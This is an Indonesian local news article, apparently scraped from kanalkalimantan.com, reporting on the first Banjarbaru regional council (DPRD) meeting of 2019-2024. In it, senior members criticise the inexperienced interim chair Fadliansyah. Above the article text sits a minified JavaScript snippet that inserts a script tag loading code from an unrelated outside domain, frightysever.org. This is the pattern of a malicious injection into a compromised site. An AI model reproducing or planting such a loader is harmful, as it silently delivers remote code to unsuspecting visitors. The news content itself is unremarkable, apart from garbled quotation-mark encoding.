(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Politisi muda Fadliansyah yang dipercaya menjadi Ketua Sementara DPRD Banjarbaru langsung diuji para politisi senior saat rapat perdana dewan periode 2019-2024, Senin (14/10) siang.
Rapat yang dipimpin politisi Gerinda muda ‘miskin pengalaman’ ini langsung dihujani interupsi. Argumen demi argumen keluar, banyak yang memberikan pendapat terkait ketidakjelasan konteks dan jalannya rapat
Belum lagi permasalahan foto copy draft tata tertib yang lambat diserahkan oleh pihak kesekretariatan. Bahkan sampai anggota dewan meminta, baru fotocopy berkas tersebut diserahkan. Ini juga dinilai beberapa anggota dewan adanya miskoordinasi.
Anggota DPRD Banjarbaru dari PDI Perjuangan, Wartono mengatakan, rapat perdana ini merupakan rapat internal pembahasan tata tertib (Tatib). Dimana berkaitan dengan tugas-tugas Pimpinan Dewan Sementara.
Diantaranya memfasilitasi pembentukan fraksi, pembentukan kelengkapan dewan dan persiapan dalam penetapan pimpinan definitif.
“Pada rapat hari ini kita lihat sendiri situasinya, agak melebar pembahasannya jadinya. Kita paham karena pimpinan sementara mungkin masih muda. Seharusnya keputusan harus cepat dieksekusi oleh pimpinan sesuai tahapan. Jangan pembahasan malah melebar ke sana kemari,†ungkap politisi PDIP ini.
Hal senada juga disampaikan, wakil rakyat gaek dari Partai Golkar Iriansyah Ghanie. Terkait interupsi yang dilakukan kawan-kawan anggota dewan ini menurutnya masalah penafsiran.
“Rapat kali ini menurut saya penafsirannya harus tatib dulu disahkan baru bicara yang lain. Karena dasar hukumnya ada pada tatib, tanpa ini tidak bisa menjalankan yang lain,†terangnya.
Saking melebarnya rapat sempat diambil alih oleh Wakil Ketua DPRD Sementara AR Iwansyah. Hal ini membuktikan, menfasilitasi puluhan pendapat anggota DPRD harus diperlukan penguasaan masalah.
“Masalahnya ketua sementara ini tidak berpengalaman dan tidak menguasai masalah dalam rapat. Akhirnya rapat tepuntal, melebar ke sana kemari. Seharusnya dalam menangani rapat, lebih baik banyak belajar dan membaca. Saya saja yang sudah tua masih belajar dan membawa Undang Undang Pemerintah Daerah dan Peraturan Pemerintah (PP). Disini diatur seluruhnya, sehingga kita menguasai apa yang akan dibahas,†bebernya.
Sementara itu, Ketua Sementara DPRD Banjarbaru Fadliansyah menjelaskan, interupsi yang dilakukan kawan-kawan anggota dewan adalah hal yang biasa.
“Interupsi itu hal yang wajar dan biasa saja dalam rapat di DPRD. Yang pasti rapat hari ini agendanya mempersiapkan untuk pembahasan pada pekan depan. Terkait Tatib dan lainnya,†ucapnya.
Rapat Anggota DPRD Banjarbaru akhirnya disepakati dan di agendakan pada Senin (21/10) pekan depan. Dimulai pada pagi hari, dengan agenda penyusunan Fraksi. Serta siang harinya di agendakan membahas Tatib. (rico)
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.